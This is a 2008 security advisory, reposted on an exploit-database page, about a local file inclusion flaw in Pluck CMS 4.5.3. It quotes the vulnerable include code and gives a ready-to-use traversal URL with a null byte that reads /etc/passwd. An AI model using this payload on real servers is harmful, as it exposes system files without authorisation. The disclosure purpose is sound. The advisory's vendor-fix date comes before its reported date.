Pluck CMS 4.5.3 (g_pcltar_lib_dir) Local File Inclusion Vulnerability

2008-11-18T00:00:00
ID 1337DAY-ID-4200
Type zdt
Reporter DSecRG
Modified 2008-11-18T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
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Pluck CMS 4.5.3 (g_pcltar_lib_dir) Local File Inclusion Vulnerability
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Hello, bugtraq.

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-039


Application:                    Pluck CMS
Versions Affected:              4.5.3
Vendor URL:                     http://www.pluck-cms.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       25.08.2008
Vendor Response:                30.08.2008
Solution:                       YES 
Date of Public Advisory:        18.11.2008
Author:                         Digital Security Research Group [DSecRG]



Description
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Pluck CMS has Local File Include vulnerability. 



Details
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1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code
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#################################################

  if (!isset($g_pcltar_lib_dir))
    $g_pcltar_lib_dir = "lib";

...

  $g_pcltar_extension = "php";

  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
  }

#################################################

Example:

http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=../../../../../../../../../../../../../etc/passwd%00



Solution
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Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:


http://www.pluck-cms.org/downloads/click.php?id=8



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